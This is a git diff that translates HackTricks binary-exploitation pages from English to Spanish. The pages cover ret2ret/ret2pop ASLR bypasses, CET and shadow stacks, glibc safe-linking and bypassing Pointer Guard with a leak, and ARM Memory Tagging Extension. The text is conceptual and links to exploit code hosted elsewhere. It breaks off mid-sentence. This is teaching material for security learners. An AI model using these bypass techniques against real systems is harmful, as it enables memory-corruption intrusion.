b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..0ac1e3c1e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +El **objetivo** principal de esta técnica es intentar **eludir ASLR abusando de un puntero existente en la pila**. -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +Básicamente, los desbordamientos de pila suelen ser causados por cadenas, y **las cadenas terminan con un byte nulo al final** en memoria. Esto permite intentar reducir el lugar apuntado por un puntero existente en la pila. Así que si la pila contenía `0xbfffffdd`, este desbordamiento podría transformarlo en `0xbfffff00` (nota el último byte en cero). -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +Si esa dirección apunta a nuestro shellcode en la pila, es posible hacer que el flujo llegue a esa dirección **agregando direcciones a la instrucción `ret`** hasta que se alcance esta. -Therefore the attack would be like this: +Por lo tanto, el ataque sería así: - NOP sled - Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- Sobrescribir la pila desde el EIP con **direcciones a `ret`** (RET sled) +- 0x00 agregado por la cadena modificando una dirección de la pila haciéndola apuntar al NOP sled -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) puedes ver un ejemplo de un binario vulnerable y [**en este**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) el exploit. ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +En caso de que puedas encontrar un **puntero perfecto en la pila que no quieras modificar** (en `ret2ret` cambiamos el byte más bajo final a `0x00`), puedes realizar el mismo ataque `ret2ret`, pero la **longitud del RET sled debe acortarse en 1** (así que el final `0x00` sobrescribe los datos justo antes del puntero perfecto), y la **última** dirección del RET sled debe apuntar a **`pop ; ret`**.\ +De esta manera, los **datos antes del puntero perfecto serán eliminados** de la pila (estos son los datos afectados por el `0x00`) y el **último `ret` apuntará a la dirección perfecta** en la pila sin ningún cambio. -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puedes ver un ejemplo de un binario vulnerable y [**en este**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) el exploit. ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..9faeb8db1 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -4,22 +4,22 @@ ## Control Flow Enforcement Technology (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET** es una característica de seguridad implementada a nivel de hardware, diseñada para frustrar ataques comunes de secuestro de flujo de control como **Return-Oriented Programming (ROP)** y **Jump-Oriented Programming (JOP)**. Estos tipos de ataques manipulan el flujo de ejecución de un programa para ejecutar código malicioso o encadenar piezas de código benigno de una manera que realiza una acción maliciosa. -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CET introduce dos características principales: **Indirect Branch Tracking (IBT)** y **Shadow Stack**. -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT** asegura que los saltos y llamadas indirectas se realicen a destinos válidos, que están marcados explícitamente como destinos legales para ramas indirectas. Esto se logra mediante el uso de un nuevo conjunto de instrucciones que marca los destinos válidos, evitando así que los atacantes desvíen el flujo de control a ubicaciones arbitrarias. +- **Shadow Stack** es un mecanismo que proporciona integridad para las direcciones de retorno. Mantiene una copia segura y oculta de las direcciones de retorno separada de la pila de llamadas regular. Cuando una función retorna, la dirección de retorno se valida contra la pila sombra, evitando que los atacantes sobrescriban las direcciones de retorno en la pila para secuestrar el flujo de control. ## Shadow Stack -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +La **shadow stack** es una **pila dedicada utilizada exclusivamente para almacenar direcciones de retorno**. Funciona junto con la pila regular pero está protegida y oculta de la ejecución normal del programa, lo que dificulta que los atacantes la manipulen. El objetivo principal de la pila sombra es asegurar que cualquier modificación a las direcciones de retorno en la pila convencional sea detectada antes de que puedan ser utilizadas, mitigando efectivamente los ataques ROP. -## How CET and Shadow Stack Prevent Attacks +## Cómo CET y Shadow Stack Previenen Ataques -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +Los **ataques ROP y JOP** dependen de la capacidad de secuestrar el flujo de control de una aplicación aprovechando vulnerabilidades que les permiten sobrescribir punteros o direcciones de retorno en la pila. Al dirigir el flujo a secuencias de gadgets de código existentes o gadgets orientados a retorno, los atacantes pueden ejecutar código arbitrario. -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- La característica **IBT** de CET hace que estos ataques sean significativamente más difíciles al asegurar que las ramas indirectas solo puedan saltar a direcciones que han sido marcadas explícitamente como destinos válidos. Esto hace imposible que los atacantes ejecuten gadgets arbitrarios dispersos por el binario. +- La **shadow stack**, por otro lado, asegura que incluso si un atacante puede sobrescribir una dirección de retorno en la pila normal, la **discrepancia será detectada** al comparar la dirección corrupta con la copia segura almacenada en la pila sombra al retornar de una función. Si las direcciones no coinciden, el programa puede terminar o tomar otras medidas de seguridad, previniendo que el ataque tenga éxito. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..956a728b9 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -1,82 +1,82 @@ -# Libc Protections +# Protecciones de Libc {{#include ../../banners/hacktricks-training.md}} -## Chunk Alignment Enforcement +## Aplicación de Alineación de Chunk -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc** asigna memoria en **agrupaciones de 8 bytes (32 bits) o 16 bytes (64 bits)**. Esto significa que el final de los chunks en sistemas de 32 bits debe alinearse con **0x8**, y en sistemas de 64 bits con **0x0**. La característica de seguridad verifica que cada chunk **se alinee correctamente** en estas ubicaciones específicas antes de usar un puntero de un bin. -### Security Benefits +### Beneficios de Seguridad -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +La aplicación de la alineación de chunks en sistemas de 64 bits mejora significativamente la seguridad de Malloc al **limitar la colocación de chunks falsos a solo 1 de cada 16 direcciones**. Esto complica los esfuerzos de explotación, especialmente en escenarios donde el usuario tiene control limitado sobre los valores de entrada, haciendo que los ataques sean más complejos y difíciles de ejecutar con éxito. -- **Fastbin Attack on \_\_malloc_hook** +- **Ataque Fastbin en \_\_malloc_hook** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Las nuevas reglas de alineación en Malloc también frustran un ataque clásico que involucra el `__malloc_hook`. Anteriormente, los atacantes podían manipular los tamaños de los chunks para **sobrescribir este puntero de función** y obtener **ejecución de código**. Ahora, el requisito de alineación estricta asegura que tales manipulaciones ya no sean viables, cerrando una ruta de explotación común y mejorando la seguridad general. -## Pointer Mangling on fastbins and tcache +## Mangling de Punteros en fastbins y tcache -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**Mangling de Punteros** es una mejora de seguridad utilizada para proteger **los punteros Fd de fastbin y tcache** en operaciones de gestión de memoria. Esta técnica ayuda a prevenir ciertos tipos de tácticas de explotación de memoria, específicamente aquellas que no requieren información de memoria filtrada o que manipulan ubicaciones de memoria directamente en relación con posiciones conocidas (sobrescrituras **relativas**). -The core of this technique is an obfuscation formula: +El núcleo de esta técnica es una fórmula de ofuscación: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L** es la **Ubicación de Almacenamiento** del puntero. +- **P** es el **Puntero Fd de fastbin/tcache**. -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +La razón del desplazamiento a la derecha de la ubicación de almacenamiento (L) por 12 bits antes de la operación XOR es crítica. Esta manipulación aborda una vulnerabilidad inherente a la naturaleza determinista de los 12 bits menos significativos de las direcciones de memoria, que son típicamente predecibles debido a las limitaciones de la arquitectura del sistema. Al desplazar los bits, la porción predecible se mueve fuera de la ecuación, mejorando la aleatoriedad del nuevo puntero mangled y, por lo tanto, protegiendo contra exploits que dependen de la predictibilidad de estos bits. -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +Este puntero mangled aprovecha la aleatoriedad existente proporcionada por **Randomización de Diseño de Espacio de Direcciones (ASLR)**, que aleatoriza las direcciones utilizadas por los programas para dificultar que los atacantes predigan el diseño de memoria de un proceso. -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**Desmangling** del puntero para recuperar la dirección original implica usar la misma operación XOR. Aquí, el puntero mangled se trata como P en la fórmula, y cuando se XOR con la ubicación de almacenamiento sin cambios (L), resulta en la revelación del puntero original. Esta simetría en el mangling y desmangling asegura que el sistema pueda codificar y decodificar punteros de manera eficiente sin un overhead significativo, mientras aumenta sustancialmente la seguridad contra ataques que manipulan punteros de memoria. -### Security Benefits +### Beneficios de Seguridad -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +El mangling de punteros tiene como objetivo **prevenir sobrescrituras parciales y completas de punteros en la gestión de heap**, una mejora significativa en la seguridad. Esta característica impacta las técnicas de explotación de varias maneras: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **Prevención de Sobrescrituras Relativas Byte a Byte**: Anteriormente, los atacantes podían cambiar parte de un puntero para **redirigir chunks de heap a diferentes ubicaciones sin conocer direcciones exactas**, una técnica evidente en el exploit sin filtraciones **House of Roman**. Con el mangling de punteros, tales sobrescrituras relativas **sin una filtración de heap ahora requieren fuerza bruta**, reduciendo drásticamente su probabilidad de éxito. +2. **Aumento de la Dificultad de Ataques a Tcache Bin/Fastbin**: Los ataques comunes que sobrescriben punteros de función (como `__malloc_hook`) manipulando entradas de fastbin o tcache se ven obstaculizados. Por ejemplo, un ataque podría involucrar filtrar una dirección de LibC, liberar un chunk en el bin de tcache y luego sobrescribir el puntero Fd para redirigirlo a `__malloc_hook` para ejecución de código arbitrario. Con el mangling de punteros, estos punteros deben estar correctamente mangled, **necesitando una filtración de heap para una manipulación precisa**, elevando así la barrera de explotación. +3. **Requisito de Filtraciones de Heap en Ubicaciones No Heap**: Crear un chunk falso en áreas no heap (como la pila, sección .bss o PLT/GOT) ahora también **requiere una filtración de heap** debido a la necesidad de mangling de punteros. Esto extiende la complejidad de explotar estas áreas, similar al requisito de manipular direcciones de LibC. +4. **Filtrar Direcciones de Heap se Vuelve Más Desafiante**: El mangling de punteros restringe la utilidad de los punteros Fd en bins de fastbin y tcache como fuentes para filtraciones de direcciones de heap. Sin embargo, los punteros en bins no ordenados, pequeños y grandes permanecen sin mangling, por lo que aún son utilizables para filtrar direcciones. Este cambio empuja a los atacantes a explorar estos bins en busca de información explotable, aunque algunas técnicas aún pueden permitir desmangling de punteros antes de una filtración, aunque con restricciones. -### **Demangling Pointers with a Heap Leak** +### **Desmangling de Punteros con una Filtración de Heap** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> Para una mejor explicación del proceso [**ver la publicación original desde aquí**](https://maxwelldulin.com/BlogPost?post=5445977088). -### Algorithm Overview +### Resumen del Algoritmo -The formula used for mangling and demangling pointers is: +La fórmula utilizada para mangling y desmangling de punteros es: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +Donde **L** es la ubicación de almacenamiento y **P** es el puntero Fd. Cuando **L** se desplaza a la derecha por 12 bits, expone los bits más significativos de **P**, debido a la naturaleza de **XOR**, que produce 0 cuando los bits se XOR con sí mismos. -**Key Steps in the Algorithm:** +**Pasos Clave en el Algoritmo:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **Filtración Inicial de los Bits Más Significativos**: Al XORear el **L** desplazado con **P**, efectivamente obtienes los 12 bits superiores de **P** porque la porción desplazada de **L** será cero, dejando los bits correspondientes de **P** sin cambios. +2. **Recuperación de Bits del Puntero**: Dado que XOR es reversible, conocer el resultado y uno de los operandos te permite calcular el otro operando. Esta propiedad se utiliza para deducir todo el conjunto de bits para **P** al XORear sucesivamente conjuntos conocidos de bits con partes del puntero mangled. +3. **Desmangling Iterativo**: El proceso se repite, cada vez utilizando los nuevos bits descubiertos de **P** del paso anterior para decodificar el siguiente segmento del puntero mangled, hasta que se recuperen todos los bits. +4. **Manejo de Bits Deterministas**: Los últimos 12 bits de **L** se pierden debido al desplazamiento, pero son deterministas y pueden ser reconstruidos después del proceso. -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +Puedes encontrar una implementación de este algoritmo aquí: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -## Pointer Guard +## Guardián de Punteros -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +El guardián de punteros es una técnica de mitigación de exploits utilizada en glibc para proteger punteros de función almacenados, particularmente aquellos registrados por llamadas a bibliotecas como `atexit()`. Esta protección implica desordenar los punteros mediante XOR con un secreto almacenado en los datos del hilo (`fs:0x30`) y aplicar una rotación a nivel de bits. Este mecanismo tiene como objetivo prevenir que los atacantes secuestren el flujo de control sobrescribiendo punteros de función. -### **Bypassing Pointer Guard with a leak** +### **Eludiendo el Guardián de Punteros con una filtración** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **Entendiendo las Operaciones del Guardián de Punteros:** El desordenamiento (mangling) de punteros se realiza utilizando el macro `PTR_MANGLE` que XORea el puntero con un secreto de 64 bits y luego realiza una rotación a la izquierda de 0x11 bits. La operación inversa para recuperar el puntero original es manejada por `PTR_DEMANGLE`. +2. **Estrategia de Ataque:** El ataque se basa en un enfoque de texto plano conocido, donde el atacante necesita conocer tanto la versión original como la mangled de un puntero para deducir el secreto utilizado para el mangling. +3. **Explotando Textos Planos Conocidos:** +- **Identificación de Punteros de Función Fijos:** Al examinar el código fuente de glibc o tablas de punteros de función inicializadas (como `__libc_pthread_functions`), un atacante puede encontrar punteros de función predecibles. +- **Cálculo del Secreto:** Usando un puntero de función conocido como `__pthread_attr_destroy` y su versión mangled de la tabla de punteros de función, el secreto puede ser calculado rotando hacia atrás (rotación a la derecha) el puntero mangled y luego XOReándolo con la dirección de la función. +4. **Textos Planos Alternativos:** El atacante también puede experimentar con mangling de punteros con valores conocidos como 0 o -1 para ver si estos producen patrones identificables en la memoria, revelando potencialmente el secreto cuando se encuentran estos patrones en volcado de memoria. +5. **Aplicación Práctica:** Después de calcular el secreto, un atacante puede manipular punteros de manera controlada, eludiendo esencialmente la protección del Guardián de Punteros en una aplicación multihilo con conocimiento de la dirección base de libc y la capacidad de leer ubicaciones de memoria arbitrarias. -## References +## Referencias - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..027721abb 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -1,83 +1,81 @@ -# Memory Tagging Extension (MTE) +# Extensión de Etiquetado de Memoria (MTE) {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**Extensión de Etiquetado de Memoria (MTE)** está diseñada para mejorar la fiabilidad y seguridad del software al **detectar y prevenir errores relacionados con la memoria**, como desbordamientos de búfer y vulnerabilidades de uso después de liberar. MTE, como parte de la **arquitectura ARM**, proporciona un mecanismo para adjuntar una **pequeña etiqueta a cada asignación de memoria** y una **etiqueta correspondiente a cada puntero** que referencia esa memoria. Este enfoque permite la detección de accesos ilegales a la memoria en tiempo de ejecución, reduciendo significativamente el riesgo de explotar tales vulnerabilidades para ejecutar código arbitrario. -### **How Memory Tagging Extension Works** +### **Cómo Funciona la Extensión de Etiquetado de Memoria** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE opera **dividiendo la memoria en bloques pequeños de tamaño fijo, con cada bloque asignado a una etiqueta,** típicamente de unos pocos bits de tamaño. -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +Cuando se crea un puntero para apuntar a esa memoria, recibe la misma etiqueta. Esta etiqueta se almacena en los **bits no utilizados de un puntero de memoria**, vinculando efectivamente el puntero a su bloque de memoria correspondiente.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +Cuando un programa accede a la memoria a través de un puntero, el hardware de MTE verifica que la **etiqueta del puntero coincida con la etiqueta del bloque de memoria**. Si las etiquetas **no coinciden**, indica un **acceso ilegal a la memoria.** -### MTE Pointer Tags +### Etiquetas de Puntero MTE -Tags inside a pointer are stored in 4 bits inside the top byte: +Las etiquetas dentro de un puntero se almacenan en 4 bits dentro del byte superior:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +Por lo tanto, esto permite hasta **16 valores de etiqueta diferentes**. -### MTE Memory Tags +### Etiquetas de Memoria MTE -Every **16B of physical memory** have a corresponding **memory tag**. +Cada **16B de memoria física** tiene una **etiqueta de memoria** correspondiente. -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +Las etiquetas de memoria se almacenan en una **región de RAM dedicada** (no accesible para uso normal). Tener etiquetas de 4 bits para cada 16B de etiquetas de memoria ocupa hasta el 3% de la RAM. +ARM introduce las siguientes instrucciones para manipular estas etiquetas en la memoria RAM dedicada: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` +## Comprobación de Modos -## Checking Modes +### Sincronizado -### Sync +La CPU verifica las etiquetas **durante la ejecución de la instrucción**, si hay una discrepancia, genera una excepción.\ +Este es el más lento y seguro. -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +### Asincronizado -### Async +La CPU verifica las etiquetas **asincrónicamente**, y cuando se encuentra una discrepancia, establece un bit de excepción en uno de los registros del sistema. Es **más rápido** que el anterior, pero es **incapaz de señalar** la instrucción exacta que causó la discrepancia y no genera la excepción de inmediato, dando algo de tiempo al atacante para completar su ataque. -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. - -### Mixed +### Mixto ??? -## Implementation & Detection Examples +## Ejemplos de Implementación y Detección -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +Llamado KASAN basado en etiquetas de hardware, KASAN basado en MTE o MTE en el núcleo.\ +Los asignadores del núcleo (como `kmalloc`) **llamarán a este módulo** que preparará la etiqueta para usar (aleatoriamente) adjuntarla al espacio del núcleo asignado y al puntero devuelto. -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +Ten en cuenta que **solo marcará suficientes granulos de memoria** (16B cada uno) para el tamaño solicitado. Así que si el tamaño solicitado fue 35 y se dio un bloque de 60B, marcará los primeros 16\*3 = 48B con esta etiqueta y el **resto** será **marcado** con una llamada **etiqueta inválida (0xE)**. -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +La etiqueta **0xF** es el **puntero que coincide con todos**. Una memoria con este puntero permite **cualquier etiqueta para ser usada** para acceder a su memoria (sin discrepancias). Esto podría prevenir que MET detecte un ataque si esta etiqueta se está utilizando en la memoria atacada. -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +Por lo tanto, solo hay **14 valores** que se pueden usar para generar etiquetas, ya que 0xE y 0xF están reservados, dando una probabilidad de **reutilizar etiquetas** de 1/17 -> alrededor del **7%**. -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +Si el núcleo accede al **granulo de etiqueta inválida**, la **discrepancia** será **detectada**. Si accede a otra ubicación de memoria, si la **memoria tiene una etiqueta diferente** (o la etiqueta inválida) la discrepancia será **detectada**. Si el atacante tiene suerte y la memoria está usando la misma etiqueta, no será detectada. Las probabilidades son alrededor del 7%. -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +Otro error ocurre en el **último granulo** de la memoria asignada. Si la aplicación solicitó 35B, se le dio el granulo de 32 a 48. Por lo tanto, los **bytes del 36 al 47 están usando la misma etiqueta** pero no fueron solicitados. Si el atacante accede a **estos bytes extra, esto no se detecta**. -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a 